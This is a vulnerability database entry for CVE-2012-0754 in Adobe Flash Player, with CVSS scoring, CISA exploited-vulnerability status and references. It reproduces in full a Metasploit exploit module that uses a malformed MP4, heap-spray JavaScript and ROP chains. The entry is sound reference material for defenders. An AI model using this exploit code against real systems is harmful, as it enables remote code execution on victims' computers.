CVE-2012-0754 : Detail

CVE-2012-0754

8.1
/
High
Overflow
93.14%V4
Network
2012-02-16
19h00 +00:00
2025-02-10
21h14 +00:00
CVE.org
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CVE Descriptions

Adobe Flash Player before 10.3.183.15 and 11.x before 11.1.102.62 on Windows, Mac OS X, Linux, and Solaris; before 11.1.111.6 on Android 2.x and 3.x; and before 11.1.115.6 on Android 4.x allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Adobe Flash Player Memory Corruption Vulnerability

Required action : The impacted product is end-of-life and should be disconnected if still in use.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-06-07 22h00 +00:00

Action is due : 2022-06-21 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18572

Publication date : 2012-03-07 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player MP4 'cprt' Overflow", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the "Iran's Oil and Nuclear Situation.doc" e-mail attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Gavrun', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0754' ], [ 'OSVDB', '79300'], [ 'BID', '52034' ], [ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ] ], 'Payload' => { 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Flash Player 11.1.102.55 # Flash Player 10.3.183.10 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x600', 'Ret' => 0x0c0c0c0c } ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 15 2012", 'DefaultTarget' => 0)) end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def get_payload(t) if t['Rop'].nil? code = "" else code = "\xbc\x0c\x0c\x0c\x0c" #Fix the stack to avoid a busted encoder end code << payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt rop = [ 0x77c4e392, # POP EAX # RETN 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77c2dd6c, 0x77c4ec00, # POP EBP # RETN 0x77c35459, # ptr to 'push esp # ret' 0x77c47705, # POP EBX # RETN 0x00000800, # <- change size to mark as executable if needed (-> ebx) 0x77c3ea01, # POP ECX # RETN 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # POP EDI # RETN 0x77c46101, # ROP NOP (-> edi) 0x77c4d680, # POP EDX # RETN 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # POP EAX # RETN nop, # NOPS (-> eax) 0x77c12df9, # PUSHAD # RETN ].pack("V*") when :jre rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) 0x7c3415a2, # JMP [EAX] 0xffffffff, 0x7c376402, # skip 4 bytes 0x7c351e05, # NEG EAX # RETN 0x7c345255, # INC EBX # FPATAN # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87, # POP EDX # RETN 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN 0x7c34d201, # POP ECX # RETN 0x7c38b001, # &Writable location 0x7c347f97, # POP EAX # RETN 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c345c30, # ptr to 'push esp # ret ' ].pack("V*") end pivot = [0x77C1CAFB].pack('V*') #POP/POP/RET pivot << [junk].pack('V*') pivot << [t.ret].pack('V*') code = pivot + rop + code return code end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[5] #IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} Browser not supported, will not launch attack: #{agent.to_s}") send_not_found(cli) return end print_status("#{cli.peerhost}:#{cli.peerport} Client requesting: #{request.uri}") # The SWF requests our MP4 trigger if request.uri =~ /\.mp4$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending MP4...") mp4 = create_mp4(my_target) send_response(cli, mp4, {'Content-Type'=>'video/mp4'}) return end if request.uri =~ /\.swf$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending Exploit SWF...") send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' }) return end p = get_payload(my_target) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_pivot = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); heap_obj.debug(true); for (var i=1; i < 0x1C2; i++) { heap_obj.alloc(block); } heap_obj.debug(true); JS js_pivot = heaplib(js_pivot, {:noobfu => true}) swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource swf_uri << "/Exploit.swf" print_status("#{cli.peerhost}:#{cli.peerport} #{swf_uri}") html = %Q| <html> <head> <script> #{js_pivot} </script> </head> <body> <center> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="test" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{swf_uri}" /> <embed src="#{swf_uri}" quality="high" width="1" height="1" name="test" align="middle" allowNetworking="all" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"> </embed> </object> </center> </body> </html> | html = html.gsub(/^\t\t/, '') # # "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource # proc = Proc.new do |cli, req| on_request_uri(cli, req) end add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil print_status("#{cli.peerhost}:#{cli.peerport} Sending html...") send_response(cli, html, {'Content-Type'=>'text/html'}) end def cleanup remove_resource('/test.mp4') rescue nil super end def exploit @swf = create_swf super end def create_swf path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" ) fd = ::File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end def create_mp4(target) mp4 = "" mp4 << "\x00\x00\x00\x18" mp4 << "ftypmp42" mp4 << "\x00\x00\x00\x00" mp4 << "mp42isom" mp4 << "\x00\x00\x00\x0D" mp4 << "cprt" mp4 << "\x00\xFF\xFF\xFF" mp4 << "\x00\x00\x00\x00" mp4 << "\x0c\x0c\x0c\x0c" * 2586 return mp4 end end =begin C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx (510.9b4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000 eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx - Flash10x+0x48b65: 10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=???????? =end

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (excluding) 10.3.183.15

Adobe>>Flash_player >> Version From (including) 11.0 To (excluding) 11.1.102.62

Apple>>Mac_os_x >> Version -

Linux>>Linux_kernel >> Version -

Microsoft>>Windows >> Version -

Oracle>>Solaris >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (excluding) 11.1.111.6

Google>>Android >> Version From (including) 2.0 To (including) 3.2

Configuraton 0

Adobe>>Flash_player >> Version To (excluding) 11.1.115.6

Google>>Android >> Version 4.0

References

http://security.gentoo.org/glsa/glsa-201204-07.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/48265
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2012-0144.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/48819
Tags : third-party-advisory, x_refsource_SECUNIA
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.